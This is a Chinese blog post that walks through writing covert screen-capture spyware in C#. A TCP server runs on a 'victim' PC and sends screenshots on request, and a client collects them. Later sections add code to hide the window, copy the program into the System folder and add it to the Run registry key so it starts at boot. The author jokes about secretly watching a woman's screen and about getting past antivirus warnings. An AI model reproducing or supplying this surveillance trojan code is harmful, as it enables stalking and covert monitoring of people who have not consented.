這可能是菜鳥程序員最喜歡搞的事了哈,並且樂此不彼O(∩_∩)O哈!
最開始本來只是想寫段遠程傳文件的代碼 寫着寫着我就突發奇想 想把別人電腦的截屏傳過來,是不是很邪惡 嘿嘿
倒騰了一陣原來還是挺簡單的 並且速度好像還挺快。 在這里我就不談socket編程的基本了哈 直奔主題
我們要實現的功能是:在我有需要的時候就把受害人電腦的截屏數據傳到我電腦上
簡單分析一下 參見灰鴿子 啊那啥的常見木馬程序我們就知道主動傳數據的一方 也就是server程序是放在受害人電腦上的 client程序是放在我電腦上的
什么叫有需要呢 就是我主動去連server端。
server端一檢測到有連接就把數據發過來然后斷開連接 一檢測到有連接就把數據發過來然后斷開連接 明白了吧 就是這么簡單(¯▽¯;)
好 開工
1服務端編程
首先截屏的代碼 四句 網上到處都有:
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); Graphics g = Graphics.FromImage(myImg); g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);
數據有了然后就是發送了 也就是最常見的IO操作 ,把從本地文件讀到的數據不停的寫到網絡流中:
//准備本地數據進行寫入網絡 FileStream fs = File.OpenRead("Capture.gif"); //寫入消息頭 文件長度,客戶端根據此長度進行讀取 writer.Write(fs.Length); writer.Flush(); //本地文件緩沖區 byte[] data = new byte[10]; int reds; int total = 0; //寫入的過程: //先從本地文件讀到緩沖區中,然后把緩沖區的字節數寫入網絡 //直到網絡寫入成功后 再讀取足夠的字節數到本地文件緩沖區 //如此往復直到整個文件全部傳輸出去 while ((reds = fs.Read(data, 0, data.Length)) > 0) { writer.Write(data, 0, reds); total += reds; } fs.Close(); //如果沒有進行close操作 tcp端口緩存的字節可能不會立即被發往客戶端 //所以這個是必須的 writer.Flush();
好了服務端就這樣了Ok 但是為了符合面向對象編程的原則 我們依然用對象的方式把“受害的過程”進行了一個包裝
新建一個實例代表一次“受害” 新建一個實例代表一次“受害” 這樣更便於理解。
請自己把上邊抓屏以及往網絡流寫數據的代碼粘到下邊的send方法里:
//客戶端線程 class ServerToClient { TcpClient clientSocket; BinaryWriter writer; public ServerToClient(TcpClient client) { clientSocket = client; NetworkStream stream = clientSocket.GetStream(); writer = new BinaryWriter(stream, Encoding.ASCII); } public void send() { } public void close() { writer.Close(); clientSocket.Close(); } }
“受害者”那端一開機程序就會自動運行 等待“有需要”的人過來 ,也就是偶啦 哇哈哈(¯▽¯;) 。 然后把自己截屏的數據給他 給完過后繼續等待下一次被蹂躪。
下面是調用的代碼:
static void Main(string[] args) { TcpListener server = new TcpListener(6000); server.Start(); while (true) { ServerToClient c = new ServerToClient(server.AcceptTcpClient()); Console.WriteLine("新的連接"); //防止傳輸過程中客戶端掉線 try { //c.send(); c.sendAdvance(); Console.WriteLine("發送完成"); c.close(); } catch (Exception ex) { Console.WriteLine("客戶端已離線:" + ex.Message); } } server.Stop(); Console.ReadKey(); }
2客戶端編程
客戶端要做的事就很簡單了: 請求連接->連上->傳數據->關閉連接
連接的時候只需要提供server端ip和端口就可以了 這里我們依然封裝一個Client類來進行這些所有的操作 在構造函數中進行連接服務器:
TcpClient client; long fileLength; BinaryReader reader; byte[] data = new byte[8192]; //准備工作 public Client(IPAddress serverIp) { int port = 6000; client = new TcpClient(); client.Connect(serverIp, port); Console.WriteLine("連上了"); NetworkStream stream = client.GetStream(); reader = new BinaryReader(stream); }
其實重要的還是接收數據。 程序設計是一個嚴謹的東西 就跟泡妞是一種很嚴肅的社會活動一樣 ,幾個字節的誤差就足以讓連接中斷 或者是圖像顯示不出來
我們在server端寫數據的時候 writer.Write(fs.Length); 那么這是什么意思呢 把文件的大小值寫入網絡流的開始處。 讓客戶端在開始的時候就這道這個文件有多大
讀到多少字節后就不應該讀了。
fs.Length 是一個long型 那么long型到底是個神馬意思呢 它代表Int64這個結構體 他占8個字節。就像這樣的 0x00000000000000ff
哥們兒你別擔心不會有一個正常文件的長度會超過它的最大值的
在客戶端我們讀到的始終是連續或者不連續的字節碼 我們得對他進行解碼才知道server端傳過來的文件到底有多大
關於二進制轉十進制我專門寫了一個函數:
//字節數組轉長整型(二進制轉十進制) static long getNum(byte[] bytes) { //int srcData = 312705998; //比如上面的int值在內存中是0x12a383ce 的形式存儲的 //但是他在文件中存儲確是反過來的(低位在前 高位在后) //如果我一次讀取4字節就是下面的形式 //byte []data = {0xce,0x83,0xa3,0x12}; long[] nums = { 1, 256, 65536, 16777216, 4294967296, 1099511627776, 281474976710656, 72057594037927936 }; if (bytes.Length > nums.Length) throw new Exception("溢出"); long num = 0; for (int i = 0; i < bytes.Length; i++) num += (bytes[i] * nums[i]); return num; }
下邊是調用getNum獲取數據長度以及 獲取數據的過程:
注意他的工作過程,
首先會讀取8個字節 這些所有的read操作都是調用的同步方法 就是說如果讀不到8個字節 這個操作就會一直在那里掛起
(這篇隨筆是以前寫的 有錯誤 更正一下:"果讀不到8個字節 這個操作就會一直在那里掛起"
同步方法沒錯 但是准確的意思是 他會接收緩沖區的第一次數據 沒有接收到不會繼續執行 並不一定是8個字節 字節數要看服務端
也許網絡環境也會引起少發 但是這種幾率很小 因為TCP是一種保證數據完整性的協議 如果數據不完整 服務端會重新發送
具體讀取了多少字節得看read()的返回值
但是因為有上面的概念所以我們不用擔心讀不到文件長度 也就是8個字節 也不用判斷read()的返回值
這種概念有點“包”的意味吧 package ,對這種一次一次的數據的概念我們把他稱之為“包” 處理粘包的問題是TCP編程里必須會的。
還有這種:
TcpClient client = new TcpClient();
client.Connect(@"localhost", 104);
NetworkStream stream = client.GetStream();
BinaryReader br = new BinaryReader(stream);
br.ReadString();
其實這種方式有很大的局限性
服務端必須用同樣的方式寫才行:
bw.Write("simple string")
)
得到數據長度過后 每read一次 就把讀取到的字節數累加到reds變量中
如此往復 直到reds大於fileLength 退出循環
為了方便我們在這次傳輸完成后就直接把連接關閉了
//接收數據 public void recv() { FileStream fs = File.Create(DateTime.Now.Ticks+ ".gif"); byte[] fileLengthSrc = new byte[8]; try { reader.Read(fileLengthSrc, 0, 8); long fileLength = getNum(fileLengthSrc); long reds = 0;//已經讀取字節數 //開始傳輸 while (reds < fileLength) { if (fileLength - reds > data.Length) { int red = reader.Read(data, 0, data.Length); if (red == 0) break; fs.Write(data, 0, red); reds += red; } else if (fileLength - reds < data.Length && fileLength - reds > 0) { int red = reader.Read(data, 0, data.Length); if (red == 0) break; fs.Write(data, 0, red); reds += red; } Thread.Sleep(10); } } catch (Exception ex) { Console.WriteLine("數據傳輸異常或者服務端已離線:" + ex.Message); } fs.Flush(); fs.Close(); reader.Close(); client.Close(); }
客戶端調用過程:
static void Main(string[] args) { IPAddress serverIp = new IPAddress(new byte[]{127,0,0,1}); if(args.Length>0) IPAddress.TryParse(args[0], out serverIp); Client c= new Client(serverIp); c.recv(); Console.WriteLine("文件接收完成..."); //Console.ReadKey(); }
客戶端及服務端執行過程:
3后續
關於界面
為什么要做成沒有界面的呢,有界面不是更好嗎。首先我們只是要驗證這一過程原理 有沒有界面都界面都無所謂 如果你非要用鼠標點 你可以建個批處理
並且如果我要監視多台電腦 我還可以在批處理里這樣寫:
for /l %%a in (1,1,10) do socketdemo 192.168.0.%a
命令行是多么的方便 為什么linux都是命令行優先 所以說要界面是非程序員的不靠譜的說法哈。
關於server端數據的發送
其實呢上邊數據發送的代碼跟大家羅里吧嗦了半天 只是跟大家說明數據發送的原理 ,
某些東西雖然看似簡單其實內部它是經過了這些艱辛的過程的
實際上只要兩句就完成數據發送 。丫的 現在才說 嘿嘿嘿 別打我吖 (;°○° )
ServerToClient類的send方法也可以是這樣的 並且還省去了轉存文件的過程直接寫到網絡流中:
public void sendAdvance() { Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); Graphics g = Graphics.FromImage(myImg); g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); writer.Write(long.MaxValue);//不要怕 客戶端只要read==0會自動break的 myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif); writer.BaseStream.Flush(); }
更加讓你抓狂的:
你數數上邊recv 接收數據的方法總共寫了多少行代碼 ,四十多行吧 看看四行代碼是怎樣實現同樣功能的 對蓋茨大叔大愛(‵▽′)
注意別忘了添加引用 項目上->右鍵->添加引用 System.Drawing
當然send方法里請把對應的 writer.Write(long.MaxValue); 去掉 以免讀取數據時出錯
//接收數據 public void recv() { try { Image bmp = Bitmap.FromStream(reader.BaseStream); bmp.Save(DateTime.Now.Ticks + ".gif"); } catch (Exception ex) { Console.WriteLine("數據傳輸異常或者服務端已離線:" + ex.Message); } reader.Close(); client.Close(); }
關於socket的有些東西還有必要說下
int red = reader.Read(data, 0, data.Length);
1如果red==0 代表另一端是先發送數據然后通過正常的close方法斷開連接的,所以red==0代表數據已經讀完了 而不是什么異常
2如果一邊已經正常關閉連接 代表數據已經完全緩存到目標機器上去了。如果一邊非正常關閉連接(掉線)另一邊進行read或write操作會提示連接異常
3任意一端的close方法只是關閉自己這邊的連接 跟另一邊沒有任何關系也不會往另一邊發數據確認 說“我已經關閉了” 只是發送的這些數據讀完后 對方每次read都返回0
4一個socket代表一個連接到另一端的數據緩沖區 或許這樣的說法更貼切
更符合“木馬”的風格
就把上面那東東拿到人家MM的電腦上去運行監視人家的屏幕 納尼?,運行個毛線啊 那么大的dos窗口 人家一下就給你關了
所以server程序我們還需要讓他完成3個工作
1讓他窗口消失,至少要在桌面上 任務欄上看不到 。讓進程消失 那個屬於windows底層的東西哈 本人還沒那么高的功力 希望哪個高手教教俺啊
2自我復制
3添加到啟動項 開機自動啟動 嘿嘿
第一個簡單 新建一個winform程序 並添加一個類 然后把上訴server端代碼 拷過去 並在formLoad事件中調用 static_Void_Main里的代碼
最重要的是把窗體的 showInTaskbar設置為false 讓窗體啟動時不在任務欄顯示圖標, 和windowsState設置為Minimized 讓窗體啟動時就是最小化狀態
第二個也很簡單通過System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;就可取到當前進程對應的可執行程序的目錄
后面的自然明白了噻 嘿嘿嘿 嘿嘿
開機自動啟動 通常往注冊表的這個節點寫值就ok了 Software\Microsoft\Windows\CurrentVersion\Run
注冊表是一個大的樹狀結構的數據庫 每個節點下可能有0到多個子節點 每個節點下有1到多個鍵值對 windows通過它來動態裝配某些功能 就這樣而已沒什么神奇的
自我復制以及加開機啟動代碼:
void copyMyself()// { RegistryKey hkml = Registry.LocalMachine; RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); object value = software.GetValue("lovedrxiang"); if (value!=null) return; string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; string folder= Environment.GetFolderPath(Environment.SpecialFolder.System); string dest = folder+src.Substring(src.LastIndexOf(@"\")); if (!File.Exists(dest)) { File.Copy(src, dest); software.SetValue("lovedrxiang", dest); } }
這個其實完全就是一個正常合理合法的程序 壓根兒就不是什么木馬。360還有啥子管家啊 是一個讓人蛋疼的東西 。並且對方不能開防火牆
稍有不對 比如文件名取成svchost 在windows目錄拷東西啊 注冊表操作啊 通通都會給用戶彈個通紅通紅的大大的框框出來提示用戶“你中木馬了,建議立即刪除”
可見360完全是面對電腦傻瓜用戶的 也指不定360會從你電腦上拷啥子東西嘩啦嘩啦就傳到他的服務器上去了 然后360的管理員就在那慢慢欣賞 嘿嘿。
既然是.net平台的那么必須得裝.netFrameWork (以后俺跟大家講講 .net平台的程序怎樣打包到在沒有安裝.netFrameWork的機器上運行)
基於以上 這限制也太多了吧 所以得悄悄沒人的時候搞(‵▽′) 以本程序沒什么實質性的用途 純粹博大家一笑
如果你跟對方MM很熟的話就另當別論了哈
最后是全部源碼 猛擊此處
最后還有想用傳圖像的方式做遠控的童鞋 這個是相當困難滴哈 網上有這方面的文章 自己去發掘